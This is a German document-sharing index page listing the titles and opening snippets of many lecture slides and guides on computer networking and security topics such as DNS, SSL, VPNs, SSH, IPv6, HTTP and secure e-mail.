Protokolle. Konrad Rosenbaum, 2006/7 protected under the GNU GPL & FDL TCP/IP: Standard Protokolle Konrad Rosenbaum, 2006/7 DNS - Domain Name System hierarchische, global verteilte Datenbank löst Namen in IP-Adressen auf Host hat einen primären Nameserver, der Fragen selbst

Mehr

Aufbau eines virtuellen privaten Netzes mit Peer-to-Peer-Technologie

Aufbau eines virtuellen privaten Netzes mit Peer-to-Peer-Technologie Aufbau eines virtuellen privaten Netzes mit Peer-to-Peer-Technologie Wolfgang Ginolas Fachhochschule Wedel 21. September 2009 Wolfgang Ginolas (Fachhochschule Wedel) 21. September 2009 1 / 14 Einleitung

Mehr

Secure Socket Layer V.3.0

Secure Socket Layer V.3.0 Konzepte von Betriebssystem-Komponenten Schwerpunkt Internetsicherheit Secure Socket Layer V.3.0 (SSLv3) Zheng Yao 05.07.2004 1 Überblick 1.Was ist SSL? Bestandteile von SSL-Protokoll, Verbindungherstellung

Mehr

Die Konfiguration ist statisch und wurde dem System über die Netzwerkkarte von Werk aus mitgegeben.

Die Konfiguration ist statisch und wurde dem System über die Netzwerkkarte von Werk aus mitgegeben. Orientierungstest Der nachfolgende Selbsttest gibt Ihnen die Möglichkeit, Ihre Kenntnisse vor der Teilnahme an der Workshop-Reihe zu überprüfen. Dabei kommt es darauf an, dass Sie die einzelnen Fragen

Mehr

Adressierung im Internet

Adressierung im Internet Adressierung im Internet Adressen sind in einem Netz, wie dem Internet, für einen Datenaustausch absolut notwendig. Jede Ressource, jedes Gerät im Netz muss auf diese Weise eindeutig identifiziert werden.

Mehr

Remote Tools. SFTP Port X11. Proxy SSH SCP. christina.zeeh@studi.informatik.uni-stuttgart.de

Remote Tools. SFTP Port X11. Proxy SSH SCP. christina.zeeh@studi.informatik.uni-stuttgart.de Remote Tools SSH SCP Proxy SFTP Port X11 christina.zeeh@studi.informatik.uni-stuttgart.de Grundlagen SSH Inhalt Remote-Login auf marvin Datentransfer Graphische Anwendungen Tunnel VPN SSH für Fortgeschrittene

Mehr

Basisinformationstechnologie I

Basisinformationstechnologie I Basisinformationstechnologie I Sommersemester 2013 24. April 2013 Rechnerkommunikation II Universität zu Köln. Historisch-Kulturwissenschaftliche Informationsverarbeitung Jan G. Wieners // jan.wieners@uni-koeln.de

Mehr

Datenbank-basierte Webserver

Datenbank-basierte Webserver Datenbank-basierte Webserver Datenbank-Funktion steht im Vordergrund Web-Schnittstelle für Eingabe, Wartung oder Ausgabe von Daten Datenbank läuft im Hintergrund und liefert Daten für bestimmte Seiten

Mehr

Rechnernetze Übung 12

Rechnernetze Übung 12 Rechnernetze Übung 12 Frank Weinhold Professur VSR Fakultät für Informatik TU Chemnitz Juli 2011 Sie kennen sicherlich sogenannte Web-Mailer, also WWW-Oberflächen über die Sie Emails lesen und vielleicht

Mehr

Workshop Sicherheit im Netz KZO Wetzikon. Peter Skrotzky, 4. Dezember 2013

Workshop Sicherheit im Netz KZO Wetzikon. Peter Skrotzky, 4. Dezember 2013 Workshop Sicherheit im Netz KZO Wetzikon Peter Skrotzky, 4. Dezember 2013 Zentrale Fragen! Wie kann sich jemand zu meinem Computer Zugriff verschaffen?! Wie kann jemand meine Daten abhören oder manipulieren?!

Mehr

Wie organisiert ihr Euer menschliches «Netzwerk» für folgende Aufgaben? an alle an ein bestimmtes an ein bestimmtes an alle an ein bestimmtes

Wie organisiert ihr Euer menschliches «Netzwerk» für folgende Aufgaben? an alle an ein bestimmtes an ein bestimmtes an alle an ein bestimmtes Computernetzwerke Praxis - Welche Geräte braucht man für ein Computernetzwerk und wie funktionieren sie? - Protokolle? - Wie baue/organisiere ich ein eigenes Netzwerk? - Hacking und rechtliche Aspekte.

Mehr

Aufgaben zum ISO/OSI Referenzmodell

Aufgaben zum ISO/OSI Referenzmodell Übung 1 - Musterlösung 1 Aufgaben zum ISO/OSI Referenzmodell 1 ISO/OSI-Model Basics Aufgabe 1 Weisen Sie die folgenden Protokolle und Bezeichnungen den zugehörigen OSI- Schichten zu: IP, MAC-Adresse, HTTP,

Mehr

Sichere Abwicklung von Geschäftsvorgängen im Internet

Sichere Abwicklung von Geschäftsvorgängen im Internet Sichere Abwicklung von Geschäftsvorgängen im Internet Diplomarbeit von Peter Hild Theoretische Grundlagen der Kryptologie Vorhandene Sicherheitskonzepte für das WWW Bewertung dieser Konzepte Simulation

Mehr

TCP/IP. Datenübertragungsschicht Netzwerkschicht Anwendungsschicht

TCP/IP. Datenübertragungsschicht Netzwerkschicht Anwendungsschicht TCP/IP Datenübertragungsschicht Netzwerkschicht Anwendungsschicht 1 Schichtenmodell Schichtenmodell der Internet- Protokollsuite Ziel: Kommunikation unterschiedlicher Rechner mit verschiedenen Betriebssystemen

Mehr

Anwendungsprotokolle: HTTP, POP, SMTP

Anwendungsprotokolle: HTTP, POP, SMTP Anwendungsprotokolle: HTTP, POP, SMTP TCP? UDP? Socket? eingesetzt, um Webseiten zu übertragen Zustandslos Nutzt TCP Client schickt Anfrage ( HTTP-Request ) an Server, Server schickt daraufhin Antwort

Mehr

Thema IPv6. Geschichte von IPv6

Thema IPv6. Geschichte von IPv6 Geschichte von IPv6 IPv6 ist der Nachfolger des aktuellen Internet Protokolls IPv4, welches für die Übertragung von Daten im Internet zuständig ist. Schon Anfang der 90er Jahre wurde klar, dass die Anzahl

Mehr

VPN unterstützt 3 verschiedene Szenarien: Host to Host: Dies kennzeichnet eine sichere 1:1 Verbindung zweier Computer, z.b. über das Internet.

VPN unterstützt 3 verschiedene Szenarien: Host to Host: Dies kennzeichnet eine sichere 1:1 Verbindung zweier Computer, z.b. über das Internet. 1. VPN Virtual Private Network Ein VPN wird eingesetzt, um eine teure dedizierte WAN Leitung (z.b. T1, E1) zu ersetzen. Die WAN Leitungen sind nicht nur teuer, sondern auch unflexibel, da eine Leitung

Mehr

SNMP und der MIB- Browser von MG-Soft

SNMP und der MIB- Browser von MG-Soft SNMP und der MIB- Browser von MG-Soft 1. SNMP 1.1 Was ist SNMP 1.2 Historie von SNMP 1.3 Einordnung in das OSI-Modell 1.4 Die Architektur von SNMP 1.5 Kommunikation von SNMP 1.6 SNMP-PDUs PDUs 2. MIB und

Mehr

Chapter 9 TCP/IP-Protokoll Protokoll und IP-Adressierung. CCNA 1 version 3.0 Wolfgang Riggert,, FH Flensburg auf der Grundlage von

Chapter 9 TCP/IP-Protokoll Protokoll und IP-Adressierung. CCNA 1 version 3.0 Wolfgang Riggert,, FH Flensburg auf der Grundlage von Chapter 9 TCP/IP-Protokoll Protokoll und IP-Adressierung CCNA 1 version 3.0 Wolfgang Riggert,, FH Flensburg auf der Grundlage von Rick Graziani Cabrillo College Vorbemerkung Die englische Originalversion

Mehr

2. Kommunikation und Synchronisation von Prozessen 2.2 Kommunikation zwischen Prozessen

2. Kommunikation und Synchronisation von Prozessen 2.2 Kommunikation zwischen Prozessen 2. Kommunikation und Synchronisation von Prozessen 2.2 Kommunikation zwischen Prozessen Dienste des Internets Das Internet bietet als riesiges Rechnernetz viele Nutzungsmöglichkeiten, wie etwa das World

Mehr

Technischer Anhang. Version 1.2

Technischer Anhang. Version 1.2 Technischer Anhang zum Vertrag über die Zulassung als IP-Netz-Provider im electronic cash-system der deutschen Kreditwirtschaft Version 1.2 30.05.2011 Inhaltsverzeichnis 1 Einleitung... 3 2 Anforderungen

Mehr

Konfigurieren eines Webservers

Konfigurieren eines Webservers Unterrichtseinheit 12: Konfigurieren eines Webservers Erleichterung der Organisation und des Verwaltens von Webinhalten im Intranet und Internet. Übersicht über IIS: Der IIS-Dienst arbeitet mit folgenden

Mehr

Teil VIII. Rechnernetze

Teil VIII. Rechnernetze Teil VIII Rechnernetze Überblick 1 Einführung 2 3 TCP/IP und das Internet Eike Schallehn Grundlagen der Informatik für Ingenieure 2008/2009 8 1 Einführung Rechnernetze Definition (Rechnernetz) Ein Rechnernetz

Mehr

4. Network Interfaces Welches verwenden? 5. Anwendung : Laden einer einfachen Internetseite 6. Kapselung von Paketen

4. Network Interfaces Welches verwenden? 5. Anwendung : Laden einer einfachen Internetseite 6. Kapselung von Paketen Gliederung 1. Was ist Wireshark? 2. Wie arbeitet Wireshark? 3. User Interface 4. Network Interfaces Welches verwenden? 5. Anwendung : Laden einer einfachen Internetseite 6. Kapselung von Paketen 1 1. Was

Mehr

Internet Routing am 14. 11. 2006 mit Lösungen

Internet Routing am 14. 11. 2006 mit Lösungen Wissenstandsprüfung zur Vorlesung Internet Routing am 14. 11. 2006 mit Lösungen Beachten Sie bitte folgende Hinweise! Dieser Test ist freiwillig und geht in keiner Weise in die Prüfungsnote ein!!! Dieser

Mehr

Session Management und Cookies

Session Management und Cookies LMU - LFE Medieninformatik Blockvorlesung Web-Technologien Wintersemester 2005/2006 Session Management und Cookies Max Tafelmayer 1 Motivation HTTP ist ein zustandsloses Protokoll Je Seitenaufruf muss

Mehr

Secure Socket Layer v. 3.0

Secure Socket Layer v. 3.0 Konzepte von Betriebssystem-Komponenten Schwerpunkt Internetsicherheit Secure Socket Layer v. 3.0 (SSLv3) Zheng Yao 05.07.2004-1 - 1. Was ist SSL? SSL steht für Secure Socket Layer, ein Protokoll zur Übertragung

Mehr

Sicherheitskonzept und Sicherheitspru fung. Internetanbindung Befundserver MVZ Labor PD Dr. Volkmann und Kollegen GbR

Sicherheitskonzept und Sicherheitspru fung. Internetanbindung Befundserver MVZ Labor PD Dr. Volkmann und Kollegen GbR Sicherheitskonzept und Sicherheitspru fung Internetanbindung Befundserver MVZ Labor PD Dr. Volkmann und Kollegen GbR Einführung Die Firma MVZ Labor PD Dr. Volkmann und Kollegen GbR, nachstehend als Labor

Mehr

E-Mails versenden aber sicher! Secure E-Mail

E-Mails versenden aber sicher! Secure E-Mail E-Mails versenden aber sicher! Secure E-Mail Leitfaden S Kreisparkasse Verden 1 Vorwort Wir alle leben in einem elektronischen Zeitalter. Der Austausch von Informationen erfolgt zunehmend über elektronische

Mehr

Router 1 Router 2 Router 3

Router 1 Router 2 Router 3 Network Layer Netz 1 Netz 2 Netz 3 Router 1 Router 2 Router 3 Router 1 Router 2 Router 3 Netz 1, Router 1, 1 Netz 1, Router 1, 2 Netz 1, Router 2, 3 Netz 2, Router 2, 2 Netz 2, Router 2, 1 Netz 2, Router

Mehr

Rechnernetze Übung 8 15/06/2011. Schicht 7 Schicht 6 Schicht 5 Schicht 4 Schicht 3 Schicht 2 Schicht 1. Switch. Repeater

Rechnernetze Übung 8 15/06/2011. Schicht 7 Schicht 6 Schicht 5 Schicht 4 Schicht 3 Schicht 2 Schicht 1. Switch. Repeater Rechnernetze Übung 8 Frank Weinhold Professur VSR Fakultät für Informatik TU Chemnitz Juni 2011 Schicht 7 Schicht 6 Schicht 5 Schicht 4 Schicht 3 Schicht 2 Schicht 1 Repeater Switch 1 Keine Adressen 6Byte

Mehr

estos XMPP Proxy 5.1.30.33611

estos XMPP Proxy 5.1.30.33611 estos XMPP Proxy 5.1.30.33611 1 Willkommen zum estos XMPP Proxy... 4 1.1 WAN Einstellungen... 4 1.2 LAN Einstellungen... 5 1.3 Konfiguration des Zertifikats... 6 1.4 Diagnose... 6 1.5 Proxy Dienst... 7

Mehr

PHP-Schwachstellen und deren Ausnutzung

PHP-Schwachstellen und deren Ausnutzung PHP-Schwachstellen und deren Ausnutzung 44. DFN Betriebstagung / 7. Februar 2006 DFN-CERT Services GmbH Jan Kohlrausch / CSIRT Gliederung Grundlagen HTTP und PHP Anatomie typischer Schwachstellen in PHP-Skripten

Mehr

Ich will raus! Tunnel durch die Firewall

Ich will raus! Tunnel durch die Firewall Ich will raus! Tunnel durch die Firewall Konstantin Agouros SLAC 07/Berlin Übersicht Wo ist das Problem? HTTPS SSH OpenVPN Skype/MSN ICMP DNS Alternativen zum Arbeiten draußen Wo ist das Problem? Viele

Mehr

Datensicherheit. Vorlesung 5: 15.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter

Datensicherheit. Vorlesung 5: 15.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter Datensicherheit Vorlesung 5: 15.5.2015 Sommersemester 2015 h_da, Lehrbeauftragter Inhalt 1. Einführung & Grundlagen der Datensicherheit 2. Identitäten / Authentifizierung / Passwörter 3. Kryptografie 4.

Mehr

Internet: Was ist das? - Routing

Internet: Was ist das? - Routing Internet: Was ist das? - Routing Auch Router Server Router Client ClientServer? Grundlagen Internet Sicherheit Angriffe Schutz Internet Map, The Opte Project Internet: Was ist das? - Netzwerk Peer-to-Peer

Mehr

Inhalt Sicherheit im Internet Grundlagen und Methoden

Inhalt Sicherheit im Internet Grundlagen und Methoden ix 1 Sicherheit im Internet Grundlagen und Methoden 1 1.1 Einführung...................................... 1 1.2 Sicherheit....................................... 3 1.2.1 Sicherheitsdienste...........................

Mehr

7 Transportprotokolle

7 Transportprotokolle 7 Transportprotokolle 7.1 Transmission Control Protocol (TCP) 7.2 User Datagram Protocol (UDP) 7.3 Ports 7.1 TCP (1) IP-Pakete (Datagramme) von A nach B transportieren reicht nicht interaktive Verbindungen

Mehr

Breitband ISDN Lokale Netze Internet WS 2009/10. Martin Werner, November 09 1

Breitband ISDN Lokale Netze Internet WS 2009/10. Martin Werner, November 09 1 Telekommunikationsnetze 2 Breitband ISDN Lokale Netze Internet Martin Werner WS 2009/10 Martin Werner, November 09 1 Breitband-ISDN Ziele Flexibler Netzzugang Dynamische Bitratenzuteilung Effiziente Vermittlung

Mehr

BINÄRES ZAHLENSYSTEM. Bits. Bytes. Dezimalsystem. Positions oder Stellenwertsysteme

BINÄRES ZAHLENSYSTEM. Bits. Bytes. Dezimalsystem. Positions oder Stellenwertsysteme 26 27 Bits Einschub BINÄRES ZAHLENSYSTEM kleinste mögliche Informationseinheit Wortschöpfung aus binary und digit zwei Zustände ja / nein wahr / falsch hell / dunkel Männlein / Weiblein links / rechts

Mehr

Unicode und UTF-8. Anna-Katharina Wurst. 28. April 2015. WP5 Angewandte Programmierung

Unicode und UTF-8. Anna-Katharina Wurst. 28. April 2015. WP5 Angewandte Programmierung 28. April 2015 WP5 Angewandte Programmierung David Kaumanns & Sebastian Ebert SoSe 2015 CIS Ludwig-Maximilians-Universität München 2 Inhalt 1 Zeichensätze ASCII ISO 8859-x Unicode 2 Kodierung UTF-8 3 Anwendung

Mehr

Secure Socket Layer (SSL) 1: Allgemeiner Überblick. Gilt für die Geräte: HL-4040CN HL-4050CDN HL-4070CDW DCP-9040CN DCP-9045CDN MFC-9440CN MFC-9840CDW

Secure Socket Layer (SSL) 1: Allgemeiner Überblick. Gilt für die Geräte: HL-4040CN HL-4050CDN HL-4070CDW DCP-9040CN DCP-9045CDN MFC-9440CN MFC-9840CDW Secure Socket Layer (SSL) Gilt für die Geräte: HL-4040CN HL-4050CDN HL-4070CDW DCP-9040CN DCP-9045CDN MFC-9440CN MFC-9840CDW Inhalt 1) Allgemeiner Überblick 2) Kurzer geschichtlicher Rückblick 3) Vorteile

Mehr

2. Interaktive Web Seiten. action in Formularen. Formular. Superglobale Variablen $ POST, $ GET und $ REQUEST. GET und POST

2. Interaktive Web Seiten. action in Formularen. Formular. Superglobale Variablen $ POST, $ GET und $ REQUEST. GET und POST 2. Interaktive Web Seiten GET und POST Die Übertragungsmethoden GET und POST sind im http Protokoll definiert: POST: gibt an, dass sich weitere Daten im Körper der übertragenen Nachricht befinden: z.b.

Mehr

HTML5. Grundlagen der Erstellung von Webseiten. Linda York, Tina Wegener. 1. Ausgabe, Dezember 2011 HTML5

HTML5. Grundlagen der Erstellung von Webseiten. Linda York, Tina Wegener. 1. Ausgabe, Dezember 2011 HTML5 Linda York, Tina Wegener HTML5 Grundlagen der Erstellung von Webseiten 1. Ausgabe, Dezember 2011 HTML5 2 HTML5 - Grundlagen der Erstellung von Webseiten 2 Die erste Webseite mit HTML erstellen In diesem

Mehr

Seminar Internet-Technologie

Seminar Internet-Technologie Seminar Internet-Technologie Zertifikate, SSL, SSH, HTTPS Christian Kothe Wintersemester 2008 / 2009 Inhalt Asymmetrisches Kryptosystem Digitale Zertifikate Zertifikatsformat X.509 Extended-Validation-Zertifikat

Mehr

HTTP, FTP, Telnet... diverse Kommunikations- Dienste 2 3 Internetschicht IP, ARP Ping. 3 4 Transportschicht TCP, UDP

HTTP, FTP, Telnet... diverse Kommunikations- Dienste 2 3 Internetschicht IP, ARP Ping. 3 4 Transportschicht TCP, UDP Alles zu Protokollen und Schichten TCP/IP- Schichten OSI- Schichten 4 6 + 7 Anwendungsschicht Bezeichnung Funktionen Dienste NetBIOS, WinSock 3 4 Transportschicht TCP, UDP HTTP, FTP, Telnet... diverse

Mehr

Netzwerk Linux-Kurs der Unix-AG

Netzwerk Linux-Kurs der Unix-AG Netzwerk Linux-Kurs der Unix-AG Benjamin Eberle 5. Februar 2015 Netzwerke mehrere miteinander verbundene Geräte (z. B. Computer) bilden ein Netzwerk Verbindung üblicherweise über einen Switch (Ethernet)

Mehr

Bemerkung: Jede Ressource sollte über einen. Ressource A. Ressource. eindeutigen Namen verfügen. Ressource F. Ressource. Ressource E.

Bemerkung: Jede Ressource sollte über einen. Ressource A. Ressource. eindeutigen Namen verfügen. Ressource F. Ressource. Ressource E. 10 Hypertext Transfer Protocol 10.1 Hypermedia 10.2 Universal Resource Identifier 10.3 Nachrichten 10.4 Proxy 10.5 Cache 10.6 Authentifizierung 10.7 S Hypermedia: A D C B E F Bemerkung: Jede sollte über

Mehr

IP Adressen & Subnetzmasken

IP Adressen & Subnetzmasken IP Adressen & Subnetzmasken Jörn Stuphorn stuphorn@rvs.uni-bielefeld.de Universität Bielefeld Technische Fakultät Stand der Veranstaltung 13. April 2005 Unix-Umgebung 20. April 2005 Unix-Umgebung 27. April

Mehr

Basiskonzepte des Rechnerbetriebs WS 2013/2014. Arvid Terzibaschian

Basiskonzepte des Rechnerbetriebs WS 2013/2014. Arvid Terzibaschian WS 2013/2014 Arvid Terzibaschian 1 Ablaufplan 2 abschließende Vorlesungen 18.11 und 25.11. Prüfung am Ende des Semester (siehe Abstimmung) http://www.doodle.com/vtcqm9k8b7q57bx8 Achtung: Abstimmung auch

Mehr

Kundenleitfaden Secure E-Mail

Kundenleitfaden Secure E-Mail Vorwort Wir leben in einem elektronischen Zeitalter. Der Austausch von Informationen erfolgt zunehmend über elektronische Medien wie das Versenden von E-Mails. Neben den großen Vorteilen, die uns elektronische

Mehr